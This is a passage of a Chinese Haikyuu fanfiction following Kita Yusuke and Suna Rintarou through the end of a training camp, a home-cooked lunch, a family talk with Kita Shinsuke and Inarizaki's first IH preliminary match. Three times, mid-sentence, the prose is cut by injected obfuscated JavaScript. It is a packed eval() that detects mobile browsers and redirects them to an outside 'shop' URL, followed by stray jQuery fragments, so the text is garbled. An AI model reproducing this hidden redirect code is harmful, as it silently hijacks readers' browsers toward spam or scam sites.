大概就是质问不会旋转球的那个为什么不会,会旋转球的那个为什么不能和对面的那个一样。 角名伦太郎全当做没听见,换了个方向站着。 北裕介无奈的说:“阿侑,你不觉得佐久早的手腕有点反人类了吗?” 天知道他在拦网时看见佐久早圣臣扣球的时候,手腕弯成那个角度是什么想法。 北裕介感觉在那个瞬间他甚至失去了表情管理。 他正漫不经心的听着宫侑的回答,反人类本人已经隔网站在了北裕介的面前。 “北,”佐久早圣臣上下打量了他一眼,表情很放松:“你看起来比以前好多了。” 什么? 北裕介的表情迷茫了一下,什么以前?他以前和佐久早圣臣认识吗? 他刚打算开口问,就发现北信介不知道什么时候走到了他旁边。 “裕介,”北信介开口,他不着痕迹的站在两人中间,又跟佐久早圣臣点了点头当做打招呼。 “要集合了。” 输的队伍要集合鱼跃,这边是他们,另一边则是音驹,音驹已经快要开始了。 北裕介被迫转移了注意力,他匆忙的和佐久早圣臣摆摆手,两步回到了队伍。 宫侑皱着眉抱怨:“你和佐久早有什么好说的啊……” 虽然实力很强,但是他已经不止一次忽略自己了!还总是用那种看不上的眼神看他! 谁跟他一支队伍可倒大霉了,宫侑咬牙切齿的想道。 “也没什么啦……” 北裕介敷衍的回答,眼睛还看向刚刚的方向。 另外两个人应该只是简单的说了两句话,因为北信介很快也站到了队伍里。 他还是有点疑惑,百思不得其解,甚至路过椅子时差点绊倒,幸亏角名伦太郎扶了他一把。 角名伦太郎轻轻的扫了一眼那个椅子,把它往旁边挪了挪:“想什么呢?” 虽然那个椅子的位置有点碍事,但是也不是能直接撞上去的程度。 北裕介顿了顿:“在想,我讨厌鱼跃。” 角名伦太郎赞同的点点头,配合着他转移了话题:“我也是。” 讨厌也还是要做的,结结实实的鱼跃了整整一圈后,北裕介拿着水杯喝了口水,产生的第一个想法竟然是: 黑须教练的训练清单还是很有用的,至少他现在不是以前那副没了半条命的样子了。 哇真是好大的进步啊,在这样下去他很快就能打满三局比赛了。 面无表情的在心里演了一场漫才后,北裕介盖上水杯的盖子站起身。 他扒拉了一下角名伦太郎,突发奇想道:“角名,咱们去食堂吧。” 角名伦太郎抬头:“你饿了?” 这个时间不应该啊。 北裕介老老实实的回答:“没有,但是我突然想吃棒冰了。” 吃了这么长时间健康的东西,他今天突然想吃点不健康的了。 就当是奖励自己长出来一点点的肌肉吧。 角名伦太郎没犹豫,直接放下毛巾站起身:“走吧。” 他突然笑了一下,学着北裕介平时的样子眨眨眼:“不过要偷偷的,别让其他人发现了。” 说走就走,两个人成功顺着侧门溜了出去,没被人发现。 被告知食堂里面没有商店后,两人转战门口的便利店。 北裕介和角名伦太郎并排坐在便利店门口的椅子上,一人拿着一只冰棒。 北裕介吃的快一些,他看了看手上的棍子,激动的扯了一下角名伦太郎的衣摆:“看!我中了再来一个。” 角名伦太郎提供的情绪价值很充足,给面子的鼓了鼓掌。 激动之后,北裕介又有点发愁:“我不能再吃了,角名你还能吃的下吗?” 角名伦太郎摇摇头,给他提建议:“你可以送给阿侑,他不是没有零用钱了吗。” 想必也没有钱买零食了。 好主意,于是午休前北裕介把再来一只换来的冰棒送给了宫侑。 宫侑眼睛亮了一下,飞快的接过:“好吧,看在你们记得给我带东西的份上,不追究你们两个偷溜出去的事了。” 北裕介呆了一下:“你发现我们两个出去啦?” 宫侑白他一眼:“废话,你们那么大两个人出去谁能看不见?” 北裕介看了一眼角名伦太郎,对方朝他耸耸肩。 他微妙的眨眨眼,莫名有一种被纵容的错觉。 “走了,回去午休。” 角名伦太郎打了个哈欠说道,他已经困得不行了,能陪着北裕介来一趟简直是意志力在支撑。 “哦,好,”北裕介满口答应,还不忘和宫侑摆摆手:“阿侑拜拜。” 然后转身跟上了角名伦太郎。 宫侑看着他们俩的背影咬了一口冰棒,感觉牙被冰的有点发酸。 午休的时间不短,北裕介在角名伦太郎去收拾东西的时候坐在床上发呆,对方已经走到他面前时也没缓过神。 “怎么了?” 角名伦太郎在他耳边打了个响指,半眯着眼睛说道。 北裕介抬头看了看角名伦太郎,突然把自己摔到被子里,深深的叹了口气。 “我感觉我的脑子不太好使了。” 角名伦太郎半挑眉,伸手把另一半被子裹在北裕介身上,等着他挣扎着扑腾开坐起身。 他看着北裕介乱蓬蓬的头发,放轻了声音:“别乱想,你要是脑子还不好的话,让其他笨蛋怎么办?” 什么啊,安慰人还要找个垫背的。 北裕介有点哭笑不得的定定的看了他两秒,突然躺下把被子蒙到头上,传出来的声音闷闷的: “我要午休了,角名你也早点休息。” 半晌,他感觉到床晃了晃,然后又安稳下来。 北裕介把被子扯下来,摸了摸自己有点发热的耳垂,感觉想不明白的事情又多了一件。 * 下午的比赛他们险胜,但是比分也足足打到了三十分。 北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217424|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裕介甩了甩手臂,对面的王牌主攻手力气大的要死,拦网拦的他手臂生疼。 疼就算了,还拦不住。 他叹了口气,离开了场地去找角名伦太郎。 枭谷虽然输了,但是面上看不出来一点郁闷的样子,可能是比赛中间已经郁闷完了。 “侑侑!” 木兔光太郎隔着网挥手,眉飞色舞的说道:“下午咱们一起去烤肉哦!你们知道吗?!” “真的假的?井闼山还有这种活动吗?” 宫侑眼睛一亮,闪现到网前和木兔光太郎面对面说道。 对对!木兔光太郎使劲儿点点头:“咱们现在就出去看看吧!” 宫侑刚想答应,又突然悬崖勒马:“木兔,别忘了你们还有一圈鱼跃呢,我们先去了,拜拜!” “哎?” 木兔光太郎的眼神迷茫了一下,转过身:“赤苇——我们去鱼跃吧!然后就能去烤肉啦!” “好的木兔前辈。” 虽然嘴上那么说,但是他们还是老老实实的等着两支队伍鱼跃之后,才一起去了烧烤的地方。 北裕介跟着角名伦太郎站在人群的偏后方,听见其他人齐齐的“哇”了一下。 他踮起脚,透过人群的缝隙看了一眼,这里是井闼山专门收拾出来的空地,上面摆了几个烧烤架,支着的大桌子上放了很多腌制好的肉。 数量之多,让北裕介怀疑了一下教练们是不是把自己攒的钱都贴进去了。 他只是在原地呆了一下,众人已经各自找好位置开始烤肉了。 额,顺便忽略了准备说点什么的枭谷教练。 枭谷的教练尴尬的笑了笑,然后也迅速加入战斗。 北裕介拽着懒懒散散的角名伦太郎找了个好位置,然后盯着他看了一眼又一眼。 他不会做饭,打下手也是会被信介哥从厨房赶出来的程度,所以相当有自知之明的不去上手。 角名伦太郎顿了一下,妥协道:“你想吃哪个?” 对方毫不客气的指了指腌牛肉的盘子。 角名伦太郎从高中就自己住了,简单的饭菜很拿手,复杂的也能做,烤肉就更难不住他了。 肉在炉子上被烤的滋滋作响,两个人一个烤一个吃,场面相当和谐。 “哎角名裕介,你们俩这样不行,吃的太少了。” 尾白阿兰拿着慢慢一盘子肉,一眼就看见了角落里的两个人。 说罢他毫不吝啬的往北裕介和角名伦太郎的盘里加肉,丝毫不顾两人的阻拦。 另一旁,宫治正在试图把烤肉塞进饭团里,做成烤肉饭团。 宫侑在他旁边不停的往嘴里塞烤肉,在想悄悄抢走对方的烤肉时被制裁。 北信介拿着盘子四处分饭团,给北裕介和角名伦太郎一人硬塞了一个。 北裕介看着满满当当的盘子麻木了一下,想趁机送给队里的双胞胎,结果被北信介抓了个正着。 “裕介,要好好吃完。” 北裕介表演了一个飞速滑跪,顺便踢了一下虽然不明显但是确实是在幸灾乐祸的角名伦太郎。 “还有角名也是。” 这下轮到北裕介幸灾乐祸了。 13.合宿(完) 合宿一共七天,北裕介被迫认识了很多人,到最后才勉强把每个人的脸和名字都对上号。 所有人都很友善很热情,哪怕是对他很好奇的,也会斟酌好用词来和他搭话聊天。 唯一有点遗憾的是那天过后,佐久早圣臣就没有来找他说过话了,两人的Line都是在井闼山的自由人那牵线加上的。 他不好意思去问,也不知道该怎么问。 想到这儿,北裕介深深的叹了口气。 “裕介!愣那干嘛,快点上车啦!” “来了来了!” 北裕介应道,两大步跟上。 除了稻荷崎,其他学校的也都聚集在校门口了,包括不需要坐车回去的井闼山。 “哎,裕介!拜拜啦下次见!” “拜拜裕介!” 北裕介正在上车,扭过头挥手:“嗯嗯,拜拜。” 黑尾铁朗装模作样的叹了口气:“裕介要走我真是有点舍不得呢——” 北裕介直觉他下半句没好话。 果不其然,黑尾铁朗捂着心脏说:“毕竟是这几天我看着进步的孩子啊。” 大可不必,北裕介面无表情的撇撇嘴,刚想回怼,一只清瘦的骨节就扯上了他的书包带。 “走了。” 角名伦太郎懒散的声音响起。 哦,北裕介忽略叽叽喳喳响的黑尾铁朗,然后跟着上车,在坐下的一瞬间感觉心情一下子变差了。 合宿很好玩,但是坐车就不怎么样了。 在车上差点丢了半条命的北裕介终于到了学校,他第一个冲下车,呼吸了两口新鲜空气。 “裕介晕车吗?” 看着对方快到模糊的身影,银岛结问北信介。 北信介摇摇头:“裕介就是不喜欢坐车,从小就是。” 他也不急着下车,透过车窗看了一会儿那个熟悉的身影。 看着片刻后,另外一个穿着校服的人递给他一瓶水。 是角名伦太郎。 面前的水明显是刚刚买的,上面还带着凝结的水珠。 北裕介接过抿了一口:“谢啦角名,我一会请你吃饭吧?” 他们是早上从井闼山出发的,现在刚巧到了午饭的时间。 角名伦太郎莫名松了口气,他刚刚差点以为北裕介要约他去打球。 他伸手拎起滑落的背包,站起身:“走吧,地方我定可以吗?” 北裕介点点头:“好,那我去跟信介哥说一声。” 他难得愿意出去和朋友玩,北信介当然没有拒绝的理由,他伸手拿过北裕介的背包:“你去吧,我帮你和奶奶说一声。” “好!记得和奶奶说我是想她的,晚上就回去了。” 他一本正经说这种话的时候反差感太足,北信介失笑,摆摆手,看着对方脚步轻快的往反方向走。 片刻后,在超市推着购物车的北裕介沉思片刻,终于忍不住发问:“不说去吃饭吗?” “对,”角名伦太郎把挑选好的青菜放进购物车,扭头看向他:“去我家,我做,怎么样?” “我以为角名会嫌做饭很麻烦。” “是有点儿,但是我怕带你出去吃垃圾食品的教练杀了我。” 闻言北裕介垮下脸:“我不想吃健康的东西了。” 角名伦太郎看着他的表情有点想笑,他努力向下抿了抿嘴,然后把人和购物车一起往前推了推: “好啦,我努力给你做的好吃点好吧?我家里还能打游戏看漫画。” 北裕介相当好哄,欣然答应。 “喏,不错吧?” 角名伦太郎做好的东西分成两份,其中一份往北裕介的方向推了推。 何止不错,北裕介看着面前的午饭面露惊叹:“好厉害。” 是很经典的日式午餐,烤鱼,蔬菜,厚蛋烧和味增汤,但是每一样都看着色香味俱全。 角名伦太郎把筷子用纸巾擦干,微不可查的弯了弯嘴角:“尝尝?” 北裕介迫不及待的接过筷子,双手合十:“我开动了。” 味道更是出乎意料的好吃,北裕介把嘴里的烤鱼咽下去,赞叹道:“这个鱼的味道好特别,酱汁好好吃。” “嗯,”角名伦太郎面不改色的应了,没说这是家里带过来的酱料:“多吃点。” “角名好厉害,做饭学习打球都厉害。” 饭后,北裕介边收拾厨房边感慨,思考片刻,他又补上一句:“还能和好多人打好关系。” 角名伦太郎刷碗的手顿了一下,一时不知道该怎么反应。 打球还凑合,做饭只是迫于生存,学习更是随波逐流。 至于人脉交往…… 怕是只有北裕介才会觉得他人缘好,大部分人对他的评价都是相当自我,不过他也不在乎这个就是了。 角名伦太郎冷静的把最后一个碗刷好,把手洗干净,然后眼疾手快的往北裕介茫然的脸上蹭了一把水。 北裕介正在疑惑角名伦太郎怎么没动静了,转头的时候被糊了个正着。 他呆了一下,然后反应相当快的就要去反击。 “哎停,”角名伦太郎一本正经的制止他:“别弄了,一地水还得收拾。” 北裕介不可思议的看着他,这个时候角名伦太郎怕地上有水了?刚刚弄他的时候怎么不说? 角名伦太郎差点没绷住笑,赶紧推着人走出厨房:“走吧咱们去打游戏。” 北裕介郁闷的不行,索性在打游戏时给角名伦太郎使了不少绊子。 角名伦太郎正是心虚的时候,干脆当做看不出来,等着对方解气之后才换了一个协作的游戏。 然后一玩就是三个小时。 北裕介看着已经擦黑的天,一时间都没反应过来:“都这么晚了?” 角名伦太郎还算冷静,感叹:“真是玩物丧志。” 北裕介沉默了一下:“这词是这么用的吗?我要和信介哥告状。” 角名伦太郎一脸无辜:“怎么就不是了?咱们两个都是玩物丧志。” 北裕介感觉和他呆在一起,自己的面部表情都变多了,虽然一大半是被气的。 他没好气的把手柄塞到对方怀里:“我要回家了。” 角名伦太郎收起两个人的手柄,和他告别:“注意安全,明天见。” 对啊,明天就开学了。 北裕介站起身,勉为其难的朝角名伦太郎挥挥手:“明天见。” * 说是明天见,但是这也太早了。 第二天一大早在岔路口相遇的北裕介和角名伦太郎面面相觑。 角名伦太郎率先开口:“北前辈呢?” “信介哥今天值日。” 北裕介眨了眨眼,看了看突然呆住的人,伸手拽了拽对方:“好巧,那一起吧。” 角名伦太郎任由他拽着自己往学校的方向走。 五月份是雨季,天气总是阴沉沉的,连绵的小雨经常一下就是一天。 在加上温度不低,又热又潮湿,闷的人喘不过气。 角名伦太郎最讨厌夏天,要不然也不会经常因为没胃口把冰棒当做午饭吃。 北裕介抬起眼睛,敏锐的察觉了对方的烦躁。 “快走吧,到了球馆就能换衣服了。” 空气湿湿的,外套半贴在胳膊上,北裕介也感觉有点难受。 到了球馆换了衣服才好点。 北裕介捏着半潮的衣服叹了口气,这直接放在柜子里一天,绝对会捂出味道的。 “可以挂在那。” 角名伦太郎刚刚换完衣服,给一脸纠结的北裕介指了指方向。 “好的,谢谢角名。” 北裕介瞬间感觉松了一口气,他才不要穿着臭臭的衣服。 在路过的时候还不忘了扒拉了一把角名伦太郎的头发。 他一脸无辜:“角名,你刚刚换衣服的时候应该是刮到了,现在两个啾啾竖起来了。” 这就是在报昨天的仇吧? 两个人差不多高,角名伦太郎冷笑一声,仗着手上没东西把对方的头发揉成一团。 “哎你烦不烦人?” 北裕介用闲着的那只手去推他,两个人瞬间纠缠在一起。 “你们两个干什么呢?小学生吗?” 刚刚推门进来的宫治被这一幕吓了一跳,反复确认了一下这两个人是不是自己熟悉的队友,而不是被蠢侑上身了。 北裕介迅速松开手,清清嗓子:“没有,我在晾衣服。” “晾衣服?你们也淋到雨了?” 宫侑夺门而入,正巧听到了这句话。 他甩了甩湿淋淋的头发,抢过宫治的毛巾擦了擦后就要走进去练球。 北裕介呆了呆:“阿侑,你这样会感冒的吧?” 排球馆里是有空调的,擦的半干然后进去绝对会着凉的。 宫侑满不在乎:“没事的,没那么容易生病。” 宫治抢过自己的毛巾,转头对北裕介说道:“不用管他,感冒了下次就记得了。” “我感觉他一定会感冒的。” 出了储物室, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227443|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北裕介感觉凉风扑面袭来,和角名伦太郎说道。 “嗯,也说不准,他们俩身体一向很好。” 身体再好也不能这样吧? 北裕介相当不赞同,他撇撇嘴:“也就是今早信介哥不在。” 角名伦太郎沉吟片刻:“确实。” 不出北裕介所料,下午放学后,宫侑边打喷嚏边走进了球馆。 尾白阿兰担忧的看向他:“要不你请假回去休息吧?” 遭到对方无情拒绝。 北裕介正缩在一边陪角名伦太郎吃完他的冰棒,闻言抬头: “没关系的,一会儿信介哥就来了。” 尾白阿兰松了口气,赞同的点点头。 信介来就能管住他了。 被忽略的宫侑一边打喷嚏一边跳脚:“都要IH预选赛了哎!要好好训练啊。” 北裕介深深的叹了口气:“不差那半天……” 要说真发烧烧坏了才是大事呢。 角名伦太郎扔掉垃圾,示意北裕介看刚刚走进来的人。 哦,信介哥来了,那就不用担心了。 北裕介心安理得的把角名伦太郎叫去练球,离开了战场中心。 北信介两秒不到就搞清楚了状况,立刻强迫喷嚏连天的人去休息。 宫侑满脸不情愿,嘟嘟囔囔的离开了球馆。 相当不满但是相当听话。 “北前辈出去干嘛了?” 角名伦太郎看着随着宫侑出去的北信介,问道。 北裕介头也没抬的回答:“给感冒的人送关怀吧。” 确实是北前辈会做出来的事情,角名伦太郎点点头。 旁边看热闹的尾白阿兰摸摸下巴:“裕介你和信介互相还很了解嘛,你来之前我一直以为你们两个就是普通的亲戚。” 毕竟认识这么长时间,他从来没听过北信介说过他有一个表弟。 北裕介擦球的手一顿,含糊过去:“嗯,我之前很少回奶奶家来着。” 角名伦太郎看了他一眼,忽然说道:“好渴,我去买瓶水,你们一起吗?” “好啊,我想喝冰的。” 北裕介扯着衣领扇扇风,感觉屋子里也是闷闷的。 尾白阿兰看着依旧阴沉的天气提醒:“我不去了,你们俩记得带伞,外面好像还在下雨。” 角名伦太郎没说话,懒洋洋的点点头。 角名伦太郎懒得拿伞,和北裕介挤在一把伞下,弯腰看贩卖机里的种类:“你要喝什么?” 北裕介的目光转过碳酸饮料,怏怏的回答:“矿泉水。” 贩卖机里摔出两瓶矿泉水,角名伦太郎拎起来,拂去上面的水雾递给他。 “谢啦。” 北裕介欣然接过,到球馆里拧开喝了一大口。 水很凉,一口下去北裕介感觉自己的脑袋都被冰到了。 他捂住脑袋,半天才反应过来。 见他反应过来,角名伦太郎才毫不犹豫的嘲笑他。 北裕介磨了磨牙,气的推搡了他一把:“快走,去练球了。” “好、好,不过,”角名伦太郎的眼睛转了转:“咱们今天没有二传了怎么办。” 不知道还以为什么大事儿呢,北裕介有点无语:“我给你传。” 角名伦太郎有点惊讶:“你还会二传?” 原身会二传吗?北裕介的脑子混乱了一下,没想起来,不过应该没关系,一点简单的二传也不难。 而且只有北信介知道原身以前的水平,那不让他看见不就好了? 思考了一圈的北裕介相当自信的回答:“会一点点。” “行,那试试,要是行的话就让阿侑把位置让给你。” 角名伦太郎开玩笑着说,以为北裕介的二传只能说是能打。 片刻后他改变了主意。 他难得的面上露出了很明显的惊讶,怔愣的看着北裕介。 刚刚那球的位置很好,虽然不算顶尖水平,但是也有稻荷崎二队的水平了。 糊弄的二传谁都可以,角名伦太郎也可以传出一个马马虎虎的,但是再高水平的就要重复的训练了。 而攻手很少会有这方面的训练。 角名伦太郎仔细的回忆了一下,确定北裕介平时也没有二传方面的训练。 这算什么,天赋异鼎吗? 北裕介皱皱眉,对刚才那球不是很满意。 他转过头,想提出一点意见,转头却看见了一张熟悉,但是此时对他来说算是恐怖的一张脸。 是北信介。 14.家人 但是北信介并没有什么特别的反应,只是轻轻的扫了他们一眼,然后提醒了一下发呆的众人好好训练,就离开了人群中心。 角名伦太郎也被吓了一跳,不过不是因为北信介,而是北裕介过度的反应。 整个人都僵在了原地,像一块木板。 他轻轻的戳了一下对方的后背,用调侃的语气说道:“怎么,你为了偷懒没告诉北前辈你会二传?” 北裕介胡乱的点了点头,含糊的说道:“差不多吧。” 他胡思乱想了好一段时间,但是似乎被轻描淡写的放下了,甚至没有被抓壮丁去代替某个因病缺席的二传。 北裕介怅然若失的吐了口气,不知道该怎么面对北信介,一天都躲躲藏藏的,最后还是在晚上时被抓到了。 “信介哥,有事吗?” 刚想回到房间就被叫住的北裕介僵硬的转过身,在对方平静的眼神中败下阵来,又坐回了椅子上。 北信介也有点无奈,他抿着嘴斟酌着语言:“我记得当初说过,加入排球部是希望你能放松一点,我很开心你能对这支队伍有归属感,但是……” 但是作为家人,请原谅他的私心。 “所有事情都以你开心为主,不用强迫自己做任何事,也没必要因为这个躲着我。” “只要在比赛里全力以赴就好了,当然,这点不需要我提醒,我们裕介做的一向很好。” 沁人肺腑的一番话,却听得北裕介慌乱不止。 他感觉体内气血翻涌,完全不知道自己找了什么借口回到了房间,坐在地板上发呆。 简单的话里藏着的是纯粹的情感,听得人心都化了。 但是问题是…… 北裕介挤出一个哭笑不得的表情,他不是他们认识的北裕介啊 。 不是北信介从小看着长大的表弟,不是奶奶心爱的孙子,他只是一个莫名其妙的孤魂野鬼,属于他自己的人生模糊不清,属于北裕介的记忆更是一概不知。 他欠下的钱财可以赔偿,时间精力可以弥补,但是爱呢? 北裕介惶恐的攥紧手心,一瞬间感觉喘不上来气。 在头脑眩晕之前,一道电话铃突然把他从凝固的空气里拔出来。 北裕介机械的按下接听键,那边传来有点失真的、但是熟悉的嗓音:“裕介?” “……” “嗯。” “怎么那么久才接电话。” 角名伦太郎的声音里带着点抱怨,旁边还有窸窸窣窣的杂音,像是叠衣服的动静。 北裕介突然想起合宿时也是这样,角名伦太郎总是在一旁收拾东西,每天都要弄好几次。 思绪被拨回以前,他的声音终于放松了一点:“哪有很久,不才一小会儿。” 角名伦太郎松了口气,继续用漫不经心的语调回答:“电话铃响超过两秒都算久。” 谁定的规矩,北裕介无语了一下,不搭理对方的胡言乱语。 东扯西扯了半个小时,确定对方的情绪已经完全回落到正常,角名伦太郎才肯在催促在同意挂了电话。 天知道他突然接到北前辈的电话,然后被告知北裕介现在的情绪可能不太好,能不能拜托他打个电话打探一下时心里有多慌乱。 他能感觉到北裕介有很多不方便和别人倾诉的事,从对方的经历就能感知一二。 从小被发掘、被培养最后又籍籍无名的天才,除非像宫侑那样的单细胞才能一点心事都没有。 不对,在排球上宫侑也是会有心事的。 在心里讲冷笑话成功把自己逗笑的角名伦太郎活动了一下冰凉的指尖,终于放下了反复叠了好几遍的衣服。 以后要不然每天都给裕介打一次电话吧,可能会有点冒昧,但是时间长了总会习惯的。 角名伦太郎面不改色的想着。 * 北裕介的调节能力很强,更准确的来说是,他能装成调节能力很强的样子。 第二天他就已经能无其事的训练了。 和他可以的恢复能力可以一拼的也就是队内某二传了,现在已经能在球馆活蹦乱跳了。 “角名,给我再跳高一点啊!” “嗯嗯,下次一定。” 宫侑被他气的头疼,但还是控制住了脾气,和颜悦色的催促下一个人。 北裕介吓了个倒仰,看在对方大病初愈的份上闭上了嘴。 不和笨蛋较真是他加入稻荷崎之后学到的真理,传授人是角名伦太郎。 除了他,宫治今天对宫侑也格外的宽容。 “看来他们兄弟间还是有温情在的嘛,阿治还会看在阿侑生病的份上让着他。” 午饭时,北裕介戳着碗里的米饭感叹道。 谢天谢地,他终于可以光明正大的吃一些碳水了,得益于他目前生长状态还不错的肌肉。 “是看在零食的份上吧,阿侑昨天把北前辈给他买的东西分了一半给阿治。” 北裕介戳米饭的动作顿了一下,没忍住弯了弯嘴角。 莫名的合情合理啊。 无论从哪个角度说都是。 “我吃完了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236790|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 北裕介随意的放下筷子,胡乱的收拾了一下便当盒。 角名伦太郎在混乱中看了一眼,里面的米饭剩下了一些,其他的东西哪怕不喜欢的,也都被主人努力吃掉了。 怎么说呢?明明面上很不情愿,但是还是会老老实实的听话啊,哪怕教练已经说可以放宽要求了,还是会有意识的自己约束自己。 跟自己完全是两模两样的人,角名伦太郎想道,自己绝对是会阳奉阴违的那种。 他又莫名的想到了北前辈,这么说,他们真是像。 角名伦太郎垂着眼睛,把这句感叹说出了口。 北裕介被他大逆不道的发言吓到了,瞪圆了眼睛:“我和信介哥哪里像了?” 角名伦太郎扭头:“哪不像了?” 北裕介呆了一下,片刻后说:“我们两个头发颜色不一样?” “也不是完全不一样吧。” 北裕介扒拉了一下自己银白色的头发:“那也只是头发有一点点像。” 北信介的优点随便一扒拉就是一筐,他可不觉得自己和这样的人有什么相似之处。 他连最基本的和人好好相处都做的很勉强。 两个人有一搭没一搭的说着话,有时候你来我往的说上很多东西,有时候什么都不说,也不会觉得尴尬。 他们就这样一起踏进了六月。 “听说IH预选赛的名单出来了!” 下午,宫侑和阳光一起跑进了排球馆。 尾白阿兰兴致勃勃:“是吗?咱们第一场和谁打?” 宫侑讪讪的回答:“我不知道。” 不知道你还这么兴奋? 宫侑本人相当理直气壮:“一会教练来了不就知道了?保持神秘好吗?” 宫治凉凉的说道:“自己没记住就没记住,别找补了。” 宫侑勃然大怒:“我没看见啊!谁会连几个学校都记不住啊!” “不好好训练都闹什么呢?” 黑须法宗一进门就被吵闹的声音砸到了,皱眉说道。 一起相处了很久了,宫侑一眼就能看出他没生气,笑嘻嘻的凑过去: “教练,IH预选赛的名单下来了?” 黑须法宗不咸不淡的瞪他一眼,又忍不住露出一点笑意:“对,咱们县里的老对手也就那几个,大家也都知道。” “不过咱们稻荷崎的目标可不是县里的这几个学校啊。” 黑须法宗扫视了一圈,相当轻易的激起他们的斗志:“向全国大赛前进吧!” “是!!” 15.IH预选赛(1) 作为本次比赛种子队选手的稻荷崎,一进入场馆就掀起了一阵欢呼声。 北裕介被超大声的欢呼吓得眯了眯眼睛 ,其他人倒是适应良好。 尾白阿兰看着四处张望的北裕介,笑着说:“热闹吧?预选赛其实还好,全国大赛的时候咱们学校还有吹奏部来加油呢。” 好装啊……啊不是,好酷啊。 北裕介点点头,突然又想到了什么:“那阿侑呢,他发球不是要安静吗?” 尾白阿兰一下子控制不住表情了,忍笑:“到时候你就知道了。” 至于他们会不会有可能进不到全国大赛? 拜托,这怎么可能,他们可是稻荷崎哎。 北裕介没多问,新奇的继续看比平时热闹太多的体育馆。 虽然尾白阿兰说这种场面只能算是“还好”,但是两边的观众席已经坐满了人。 他们方向的一边都穿着统一的校服,拿着或是喇叭或是应援扇之类的东西,是不知情的人可能会误认为是追星现场的程度。 突然,观众席传来一片欢呼,北裕介应声看去,一面黑色的横幅迎风展开,上面是白色的大字: “无需追忆昨日” 北裕介欣赏的看了一会儿才说话:“咱们的标语好酷啊。” 宫侑眉飞色舞的赞同:“是吧是吧,我也觉得,比其他学校的有文化多了。” 北裕介不知道其他学校的标语是什么,跟着老老实实的点头。 角名伦太郎看不下去了,推着北裕介往前走:“要热身了。” 宫侑扯着宫治大声抱怨:“角名最近怎么总拿热身说事,以前没见他这么爱热身。” 宫治被他震的耳朵一鸣:“他以前现在什么的我不知道,但是真的要热身了。” 他指了指已经收拾好的场地。 宫侑咬牙,于是把排在后面的北裕介薅过来第一个扣球。 北裕介:……也行。 球被高高托起,北裕介在三米线外助跑起跳,清瘦的身子绷紧成一把弓箭。 蓄力后挥动手臂,手掌砸在球上时就是一声闷响,砸在地上更是闷闷的一声巨响。 球意料之中的压线,北裕介满意的点点头,走到一边等着其他队员。 一旁的观众席传来一声又一声惊呼。 一个眼睛上挑的女孩小声问同伴:“那是谁呀?怎么以前没见过。” 旁边的女孩用应援扇挡住嘴说道:“听说是这学年新来的转校生,一个月就当上正选啦!现在看来真的是好厉害呀。” 铃木结衣点点头,拼命晃了晃手里的应援扇,希望能带给成员们一些鼓励。 回去要给新成员也做一套应援物,铃木结衣想道。 热身结束后,两支队伍列队,比赛开始。 稻荷崎的对手是城崎高校,一所比赛中配合很好,但确实算不上实力突出的学校。 山本翔是城崎的一年级新生,这也是他第一次参加比赛。 “要是输的太丢人怎么办啊?” 赛前,他感觉自己的手都在发抖,忍不住去问队里可靠的队长。 队长恨铁不成钢的看着他:“要想着赢啊!” “就算是赢不了,也要努力带来一场精彩的比赛!” 至少不能太难看,对吧? 他艰难的吞咽了一口口水,目不转睛的盯着对面准备发球的成员。 发球和他想象中一样强劲,落在身后的巨响让山本翔耳朵轰鸣了一下。 这球落在胳膊上,会骨折吧? 这是他的第一个想法。 幸好他不是自由人。 这是他第二个想法。 在反应过来自己的想法后,山本翔顿时感觉羞愧难当。 面对强大的对手,第一个反应是逃避可不行啊。 他沉住呼吸,调整好姿势。 就像队长说的,要尽力带给观众一场精彩的比赛啊。 察觉到对面并不凝滞的气氛,宫侑挑挑眉,感觉心情又扬了起来。 “还不错嘛……” 他自言自语道。 不过即使城崎的状态很好,但是两支队伍之间的差距是实打实存在的。 宫侑凭借发球足足拿了六分,在对面好不容易拿回一分后北裕介又站在了发球位上。 他的技巧性很足,再加上训练到位,凭借发球把分差拉倒了两位数。 “好恐怖。” 看着11:1的分差,铃木结衣用应援扇挡住了眼睛。 同伴看着她身上稻荷崎的校服,手上稻荷崎的应援扇陷入了沉默。 “不要代入对面啊!” “啊,不好意思,”铃木结衣把扇子拿下来,笑了笑:“情不自禁嘛。” 最后比赛以两局都堪称恐怖的分差结束了,北裕介低眉顺眼的走到网前鞠躬,没敢去看对方的眼睛。 任谁第一局连续发球得分,第二局连续拦网得分后,看见对面被自己反复拦住的攻手痛哭流涕的样子都会这样吧? 他飞快的握手,然后把自己藏在队伍里,生怕引发什么尴尬的场面。 可惜他队里有不怕尴尬的人。 宫侑看着躲在自己身后的人,感觉莫名其妙:“你在这干嘛?” 